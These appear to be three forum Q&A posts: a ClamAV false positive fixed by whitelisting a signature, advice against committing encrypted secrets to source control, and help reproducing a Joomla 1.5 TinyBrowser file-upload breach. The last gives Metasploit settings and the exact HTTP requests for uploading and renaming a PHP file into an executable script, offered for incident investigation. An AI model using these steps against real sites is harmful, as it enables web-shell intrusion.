This sadly doesn't include any information regarding the nature of the supposed exploit. I tried to search for information, but only wound up with people having the same false positive. This answer explains the problem more in-depth.

What to do now?

The name Win.Exploit.Unicode_Mixed-1 implies it's an exploit specific to Microsoft Windows. Given that you are running a Debian environment means that this should not affect you. Further, this signature was found in a log file, which further leads me to believe that it's a false positive.

Given that this signature is rather dubious, I would disable the signature by running:

echo "Win.Exploit.Unicode_Mixed-1" >> /var/lib/clamav/whitelist.ign2

Please note that /var/lib/clamav/ is the default directory of ClamAV database files on my system. Your distribution may have a different path.


How safe is it if encrypted text is exposed? I know that it is considered safe if both encryption algorithm and password are safely hidden. However, what if the attacker knows that there can only be a number of algorithms used. So how safe is it in this case?

Is it bad practice to include encrypted text in source control?

If you are encrypting a client secret where it needs to be decrypted and used to access another service, you should not expose this to any untrusted system, including checking in to source control, as that would mean that people with access to the system would be able to get access to the secret.

Also other automated processes which work off the source code repository (for example code review tools) would get access, so you could end up with the secret being known quite widely which is rarely a good idea.

One way to approach managing this kind of secret is to store them separately during development and then inject them at deployment.


Trying to reproduce a file upload compromise on Joomla After telling my workmates and boss that we had a very critical lack of security controls, finally we got compromised!

They had a Joomla 1.5 which was exploited using a file upload vulnerability. WSO 2.5 web shell was uploaded.

I'm trying to find out where is the vulnerable parameter but I haven't had success. Running joomscan I confirm the vulnerability:

# 20
Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities
Versions effected: Joomla! 1.5.12
Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/
Exploit: While Joomla! team announced only File Upload vulnerability, in fact there are many. See: http://www.milw0rm.com/exploits/9296
Vulnerable? Yes

w3af reports a possible CSRF and possible critical ClickJacking because the target doesn't have X-Frame-Options header. But I don't know how to leverage both vulnerabilities to successfully upload a file.

Finally, I tried the easy way of running Metasploit, but I'm finding difficulties on setting the target IP. The vulnerable server doesn't have direct access from external networks. Incoming connections first go to an Apache server and then are redirected to the Joomla server. So how could I set up the target on Metasploit? Because afaik, I can only use IP and no URL for RHOST (didn't use Metasploit so much), and the IP points to the Apache and no the Joomla.

Tomorrow I'll have more time, so I'll try to manually find the vulnerability. What do you recommend me to look for?

For this module in Metasploit (exploit/unix/webapp/joomla_tinybrowser), you'll need to target the endpoint from which the Joomla site is accessible, in this case the Apache server. You can set the Apache server's IP for the RHOST option, and then the required hostname for the VHOST option. VHOST essentially populates the Host HTTP header which will probably allow the attack to reach the "Joomla server".

Cross-Site Request Forgery (CSRF/XSRF) and ClickJacking are unlikely to be related, although they could potentially be leveraged to entice a user into performing actions they didn't intend. That doesn't eliminate the possibility that an admin could be tricked into uploading a malicious shell him/herself, although its not an attack vector I have personally seen.

If the Metasploit module doesn't work, you could try it manually as you say. I wouldn't expect it to be too difficult. I couldn't find detailed technical detail regarding this one after a cursory glance, but I would advise researching around the flaw's CVE identifier (CVE-2011-4908), and/or picking apart some of the public exploits.

This looks to me like the original advisory: http://yehg.net/lab/pr0js/advisories/tinybrowser_1416_multiple_vulnerabilities

Edit: Manual Reproduction

You can potentially use the source from the Metasploit module to understand what you would need to do to exploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/joomla_tinybrowser.rb). I have had a go at this below, although these steps are untested so may need some tweaking have been tested against a fresh install of Joomla 1.5.12.

Example assumes http://www.example.com/ with the Joomla instance at /JOOMLA/.

Get an obfuscation code, required to upload files. Send a request to http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder=. The response should contain some kind of obfuscation code that you will need to copy.

The obfuscation code is returned as a Javascript variable and should look something line this:
so.addVariable("obfus", "a5a9ee6679580855adcc39ab00000000");
Then we need to send something like this to upload a malicious script. Insert the retrieved obfuscation code:

POST /JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=/JOOMLA/images/stories/&type=file&feid=&obfuscate=%OBFUSCATIONCODE%&sessidpass= HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=abcdef
Content-length: 250

--abcdef
Content-Disposition: form-data; name="Filename"

evil.ph.p
--abcdef
Content-Disposition: form-data; name="Filedata"; filename="evil.ph.p"
Content-Type: application/octet-stream

<?php echo("I've just executed PHP code!"); ?>
--abcdef--

Process the uploaded file. Send a request to: http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_process.php?folder=/JOOMLA/images/stories/&type=file&feid=&filetotal=1

n.b. I get an error back, but it still works so not sure if this step is required or not.
Then, rename the file. Browse to http://www.example.com/JOOMLA/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/edit.php?type=image&folder= in your favourite browser. Select 'Rename' from the drop-down and remove the . from the end of the evil filename (i.e. evil.ph. > evil.ph). Click 'Rename Files' and you should see the evil file disappear.
Your proof of concept should be at http://www.example.com/JOOMLA/images/stories/evil.php if the above worked correctly.